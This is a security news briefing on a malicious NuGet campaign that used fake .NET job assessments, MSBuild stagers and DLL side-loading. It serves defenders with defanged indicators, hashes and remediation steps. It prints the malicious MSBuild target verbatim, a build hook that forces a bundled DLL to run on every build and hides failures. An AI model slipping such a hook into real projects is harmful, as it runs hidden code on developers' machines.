P.K. SHARMA

Cyber security intelligence, AI governance, practitioner analysis

Socket links 13 malicious NuGet packages to fake .NET job tests and MSBuild stagers

Socket Threat Research disclosed 13 malicious NuGet packages across 28 versions on 23 November 2026, using MSBuild targets and DLL side-loading in fake job tests. Victim counts, second-stage payloads, and threat actor attribution remain unstated.

By · LinkedIn · · 9 min read

13 malicious NuGet packages across 28 versions, and 122 days of developer lures

On 23 November 2026 (2026-11-23T21:55:22.725Z in its page metadata, read on 26 November 2026, three days after publication, derived), Socket Threat Research disclosed 13 malicious NuGet packages spanning 28 versions across 4 NuGet accounts (HappyOne, VS_Builder, Carol-White-Super, and Steven-White-Super). Counting by publisher account (derived): HappyOne accounts for 9 of the 13 packages (69.2 per cent, derived), VS_Builder for 2 (15.4 per cent, derived), Carol-White-Super for 1 (7.7 per cent, derived), and Steven-White-Super for 1 (7.7 per cent, derived). The NuGet publishing window ran from 23 July to 4 November 2026 (104 days, derived), while the wider operation spanned 122 days (derived) from the first related npm package on 14 July 2026 to a trojanized wallet app release on 13 November 2026. At the time Socket wrote on 23 November 2026, NuGet had removed 12 of the 13 packages (92.3 per cent, derived), leaving 1 package, WinUI.Button 1.0.0 (7.7 per cent, derived), listed with about 160 downloads in the NuGet search API.

What that record does not establish is equally important. Socket's report does not establish a confirmed victim count, noting explicitly that NuGet download counts include mirrors and automated scanners rather than unique developer infections. It does not establish whether WinUI.Button 1.0.0 remains listed on NuGet.org at our 26 November 2026 read time, nor how the fake "Home Assessment" repositories were delivered to job candidates, as Socket found no recruiter emails or job postings for them. Several second-stage repositories (stevenleedig-ux/fantastic-giggle, Carol-White-Super/cloud, and Best-Seller-Dev/dexTrader) returned HTTP 404 and the ClickFix hostname cloudservicebase[.]ddns[.]net did not resolve during Socket's analysis, leaving their follow-on payloads unrecovered. Socket also does not attribute the campaign to a named threat actor.

Socket sells commercial software supply-chain security tooling, including Socket Firewall, Socket CLI, and the Socket GitHub App, and this disclosure rests on its own threat research.

How the fake WinUI 3 assessment triggers build-time staging and DLL side-loading

Trigger condition. The most recent lure identified by Socket is the public GitHub repository stevenleedig-ux/WinUI3_Home_Assessment, created on 4 November 2026 as a three to four hour Visual Studio 2026 exercise on native Windows. Its README instructs candidates: "Do not alter the inner workings or styles of the external FileButton itself", steering developers away from inspecting the NuGet control that triggers execution. Commit bfb103a (4 November 2026, 12:41 UTC) embeds VS_Builder.MSBuildAnalyzer.1.2.7.nupkg and VS_Builder.WinUI3Controls.1.0.7.nupkg in a local Packages folder and configures RestoreAdditionalProjectSources so NuGet restores from inside the repository, bypassing public registry takedowns. The project file sets DisableFastUpToDateCheck to true so Visual Studio delegates rebuild checks to MSBuild, and sets PrivateAssets to all and ExcludeAssets to runtime on the analyzer reference so its build logic runs without shipping its DLL in the final output.

Runtime mechanics and control flow. NuGet automatically imports a package's targets file (matched case-insensitively) into projects referencing that package. In VS_Builder.MSBuildAnalyzer 1.2.7, ExecuteInlineCSharpTarget runs after Build when the target framework starts with net8.0-windows or equals net10.0. By setting Outputs to a non-existent file (ForceExecuteNonExistenFile.txt, printed in the artifact block below), MSBuild never treats the target as up to date and executes dotnet against MSBuildAnalyzer.dll on every build, swallowing failures with IgnoreExitCode="true" and ContinueOnError="true". Inside MSBuildAnalyzer.dll, BuildPipeline runs 17 decoy analysis calls before reconstructing an XOR and AES-256-CBC encrypted URL and file paths from 8-character Base64 fragments. It downloads the payload from the stevenleedig-ux/fantastic-giggle repository (defanged in the IOC block below) to OskSupport.dll under %LOCALAPPDATA% and copies osk.exe from System32 beside it.

Neither package works alone. The stager only writes files, while VS_Builder.WinUI3Controls 1.0.7 provides the runtime trigger: when the starter window renders FileButton, its constructor calls TryInitializeEnvironmentCompatibilityProbe(), decrypts osk/osk.exe, and launches the copied osk.exe with ProcessWindowStyle.Hidden. Socket notes that osk.exe and OskSupport.dll form a publicly documented DLL side-loading pair, though Socket did not test whether a copied osk.exe executes from %LOCALAPPDATA%\osk on current Windows builds. When NuGet unlisted VS_Builder packages at 20:15 UTC and deleted them at 23:57 UTC on 2 November 2026, the operator republished the stager under HappyOne.MSBuildAnalyzer about 39 hours later (fixing the .targets filename in version 1.2.9 26 minutes later) and updated the lure in commit 9e9384a 12 minutes after that, before NuGet deleted all HappyOne packages on 6 November.

Execution chain and evidence gaps from Socket Threat Research (23 November 2026).

Five infection paths, disguised project files, and MITRE ATT&CK alignment

Socket links the 13 NuGet packages to a broader five-path operation that began on npm between 14 July and 23 July 2026 with 6 packages (axios-test-one, telemetry-metrics, telemetry-axios, axios-native, fs-extra-core, and vitest-axios). On NuGet, Carol-White-Super published WinUI.Button 1.0.0 on 2 September 2026. Its WUIButton constructor spawns a background task under a named mutex that authenticates to the GitHub API with an embedded 93-character fine-grained token (github_p(redacted)), fetches avast.exe from Carol-White-Super/cloud, saves it as %TEMP%\Launcher.exe, and retries every 1 to 4 seconds indefinitely when unreachable. Because Carol-White-Super returned HTTP 404 during Socket's analysis, avast.exe was unrecoverable.

Two fake axios GitHub repositories (jason-code-super/axios and stevenleedig-ux/axios-http) served 9 malicious Windows PE binaries (5 in jason-code-super/axios and 4 in stevenleedig-ux/axios-http, derived) disguised as lib/env/axios.csproj after starting with an unmodified Microsoft-signed Sysinternals Autoruns 13.96 placeholder. Those histories included msedgewebview2.exe, two PyInstaller Chrome profile stealers, two updater.exe loaders, WeapF, and three Themida-protected builds. updater.exe performs VM, disk (< 60 GiB), RAM (< 4 GiB), and analysis-tool checks within 2,000 milliseconds before polling a GitHub repository every 10 seconds (log1.dat and log2.dat under a per-victim folder) for AES-256-CBC encrypted payloads. On 13 November 2026, gabsantosbus-star released CryptoWalletAnalyzer.exe (advertised on LaborX on 7 November as an $8,500 to $10,000 C# WPF job), bundling vcruntime146_cor2.dll (dropper_dll.dll), a new build of the GitHub C2 loader targeting Best-Seller-Dev/dexTrader. Separately, figma-share hosted a ClickFix GitHub Pages lure instructing visitors to run a PowerShell command fetching CVE-2026-44747_patch[.]dat from cloudservicebase[.]ddns[.]net (where CVE-2026-44747 appears only as a lure filename, not a verified CVE for this campaign).

MITRE ATT&CK mapping. Socket maps 41 ATT&CK techniques evidenced in the campaign, including T1195.001 (Compromise Software Dependencies and Development Tools), T1127.001 (Trusted Developer Utilities Proxy Execution: MSBuild), T1574.001 (Hijack Execution Flow: DLL), T1036.001 (Invalid Code Signature), T1102.002 (Web Service: Bidirectional Communication), and T1567.001 (Exfiltration to Code Repository). MITRE ATT&CK T1195.002 (Compromise Software Supply Chain, version 1.1, last modified 24 October 2025) describes adversaries manipulating application software or compiled releases prior to receipt by a final consumer, aligning with the trojanized CryptoWalletAnalyzer.exe release and bundled assessment packages.

Stated evidence versus unstated gaps across Socket Threat Research (23 November 2026) and MITRE ATT&CK T1195.002.

Friendly labels and metadata doing the work of trust

Across the campaign, comforting developer labels substitute for verification. MSBuildAnalyzer.dll describes itself as an "MSBuild Compatibility Analyzer" and lists "Microsoft" as its company; VS_Builder.WinUI3Controls 1.0.7 lists "Microsoft" as its author; and multiple binaries carry a self-signed certificate (CN=Microsoft Windows Publisher, serial 505524D1ACD4CAAD4A1C119312B0E1D1). None of these fields is a validated publisher identity.

File names and extensions perform the same trick: lib/env/axios.csproj uses an MSBuild project extension for a Windows PE binary starting with an MZ header; vcruntime146_cor2.dll mimics the WPF runtime's vcruntime140_cor3.dll; and avast.exe and osk.exe borrow security or Windows system names. Even NuGet's removal of 12 packages acts as a false reassurance if teams assume registry takedowns protect developers: WinUI3_Home_Assessment commits bfb103a and d45e9f3 restore .nupkg files directly from a local folder inside the repository.

What Socket states, and what the record leaves open

The table separates what Socket Threat Research documents from what its 23 November 2026 post does not establish.

Evidence boundary in Socket Threat Research's 23 November 2026 disclosure.

DimensionStated in Socket (23 Nov 2026)Not stated or unverified
Package count and status13 NuGet packages (28 versions) across 4 accounts; 12 removed, WinUI.Button 1.0.0 listed (~160 downloads)Confirmed victim count; whether WinUI.Button 1.0.0 remains listed on 26 Nov 2026
Assessment deliveryPublic repo stevenleedig-ux/WinUI3_Home_Assessment created 4 Nov 2026; LaborX job posted 7 Nov for wallet appHow Home Assessment lures reached candidates (no recruiter emails or job posts found)
Second-stage payloadsStager targets fantastic-giggle/main/src/demos/SPGO/build.docker; WinUI.Button targets Carol-White-Super/cloud; loader targets DexTraderActual contents of avast.exe, build.docker, dexTrader, and ClickFix patch.dat (404 or NXDOMAIN)
Side-load executionStager copies osk.exe and writes OskSupport.dll to %LOCALAPPDATA%\osk; FileButton launches osk.exeWhether copied osk.exe side-loads OskSupport.dll from %LOCALAPPDATA%\osk on current Windows builds
Threat actor attributionOverlaps in lures, RouterHosting VPS, and GitHub C2 with North Korean and Iranian clustersNamed threat actor attribution; Socket found no shared code or indicators with Contagious Interview

Selected MSBuild trigger and defanged indicators from Socket's report

Socket published the exact MSBuild target XML from VS_Builder.MsBuildAnalyzer.targets (whose SHA-256 hash matches HappyOne.MsBuildAnalyzer.targets). Defenders can inspect third-party .targets files for Exec tasks whose Outputs attribute names a file that is never created (ForceExecuteNonExistenFile.txt) and whose errors are suppressed via IgnoreExitCode and ContinueOnError.

xml
    <Target Name="ExecuteInlineCSharpTarget" AfterTargets="Build"
            Condition="'$(TargetFramework)' == 'net10.0' OR $(TargetFramework.StartsWith('net8.0-windows'))"
            Inputs="$(MSBuildProjectFullPath)"
            Outputs="$(TargetDir)ForceExecuteNonExistenFile.txt">

        <PropertyGroup>
            <_AnalyzerLibFolder Condition="$(TargetFramework.StartsWith('net8.0-windows'))">net8.0</_AnalyzerLibFolder>
            <_AnalyzerLibFolder Condition="'$(TargetFramework)' == 'net10.0'">net10.0</_AnalyzerLibFolder>
        </PropertyGroup>

        <Exec Command="dotnet &quot;$(MSBuildThisFileDirectory)..\lib\$(_AnalyzerLibFolder)\MSBuildAnalyzer.dll&quot;"
              WorkingDirectory="$(TargetDir)"
              IgnoreExitCode="true"
              ContinueOnError="true">
            <Output TaskParameter="ExitCode" PropertyName="_AnalyzerExitCode" />
        </Exec>
    </Target>
MSBuild target from VS_Builder.MsBuildAnalyzer, published by Socket Threat Research on 23 November 2026.

The block below lists the 13 NuGet package IDs, 6 related npm package IDs, defanged network and repository indicators (hxxps, [.]), and primary SHA-256 package hashes from Socket's 23 November 2026 report for local cache hunting and proxy blocking.

Text
Malicious NuGet Packages (13):
WinUI.Button, VS_Builder.MSBuildAnalyzer, VS_Builder.WinUI3Controls,
HappyOne.MSBuildAnalyzer, HappyOne.WinUI3Controls, Web3TotalButton,
RevertButtonIcon, WinUI3IconButton, WindowsAccentColorName,
SetButtonColor, InitializeCustomButton, StyledAppButton, StyledComponent

Related npm Packages, Removed (6):
axios-test-one, telemetry-metrics, telemetry-axios,
axios-native, fs-extra-core, vitest-axios

Defanged Network and Repository Indicators:
hxxps://github[.]com/stevenleedig-ux/WinUI3_Home_Assessment
hxxps://raw[.]githubusercontent[.]com/stevenleedig-ux/fantastic-giggle/main/src/demos/SPGO/build[.]docker
hxxps://api[.]github[.]com/repos/Carol-White-Super/cloud/contents/db/avast[.]exe?ref=Main
hxxps://api[.]github[.]com/repos/James-White-Super/React_prj/contents/react-burger/public
hxxps://api[.]github[.]com/repos/Best-Seller-Dev/dexTrader/contents/src/signal
hxxps://figma-share[.]github[.]io/(redacted)/
cloudservicebase[.]ddns[.]net (172[.]86[.]119[.]233)

Key SHA-256 Hashes:
winui.button.1.0.0.nupkg: ccf299e23471cd79b2f40f91ee6f48293893e6c626ef84b10ef0b3ba86a89770
VS_Builder.MSBuildAnalyzer.1.2.7.nupkg: d0a78aec3dd8dbce2e3fb0412b666a602fc0a71a800e24b99d735581795e11dc
VS_Builder.WinUI3Controls.1.0.7.nupkg: 63f1c64bd0db73b327d6655e4262ab8dcbd4ff2ed0a6dd5e062ceb977dcb3e75
CryptoWalletAnalyzer.exe: e7e7649f7249cb32f3123299e3a200c83dc210420b40f944168c36ab781b9458
Defanged indicators and SHA-256 hashes from Socket Threat Research, 23 November 2026.

What defenders and developers should do, in order

Take this with you

Ordered remediation and hardening steps (Socket Threat Research, MITRE M1051/M1016, and this site's suggestion)

  • 1. Audit repositories and NuGet caches for the 13 named NuGet packages, especially WinUI.Button 1.0.0, across project files, Directory.Packages.props, lock files, obj/project.assets.json, and %USERPROFILE%\.NuGet\packages.
  • 2. Inspect any take-home or third-party .NET solution before opening or building it for RestoreAdditionalProjectSources, local .nupkg folders, extra NuGet.config feeds, DisableFastUpToDateCheck, and build/*.targets files containing <Exec>.
  • 3. Enforce NuGet package source mapping in organisational build pipelines and developer workstations to block restoration from repository-local feeds or unapproved sources (this site's suggestion, aligned with Socket guidance).
  • 4. Hunt endpoints and logs for osk.exe or OskSupport.dll outside %WINDIR%\System32, %TEMP%\Launcher.exe, MSBuild launching dotnet against a package lib DLL, User-Agent strings MyUpdater or CppHttp/1.0, and GitHub API calls with commit messages downloading new version or Backup.
  • 5. If any listed package or CryptoWalletAnalyzer.exe was built or executed, isolate and reimage the host, then rotate browser-saved passwords, session cookies, and GitHub, registry, and cloud tokens from a clean device.
  • 6. Require candidates and engineers to build untrusted assessment repositories only inside disposable virtual machines with no credential access (MITRE M1016 / Socket guidance).

The gap Socket's disclosure leaves open

If a single RestoreAdditionalProjectSources line in a repository can bypass a NuGet registry takedown entirely and WinUI.Button 1.0.0 remained installable at the time of Socket's 23 November 2026 report, how many developer machines built unverified assessment solutions before package source mapping was enforced, and what payloads did the unreachable GitHub second stages (avast.exe, build.docker, and dexTrader) deliver?

Key facts

Sources

  1. Primary13 Malicious NuGet Packages Target .NET Developers With Fake Job Assessments, dated 23 November 2026: primary technical analysis, package IDs, MSBuild targets, decompiled code, and IOCsSocket Threat Researchaccessed 2026-11-26
  2. PrimarySupply Chain Compromise: Compromise Software Supply Chain (T1195.002), version 1.1, last modified 24 October 2025: technique definition and M1051/M1016 mitigationsMITRE ATT&CKaccessed 2026-11-26

Share this briefing

Know someone who owns this problem? Send it to them.

Related briefings

The briefing, in your inbox

Practitioner analysis of cyber and AI security news. No vendor noise.

How often

Every new briefing in one email, at 7am, or at 7am, 12:30pm and 6pm. Nothing is sent when nothing is new. Unsubscribe any time.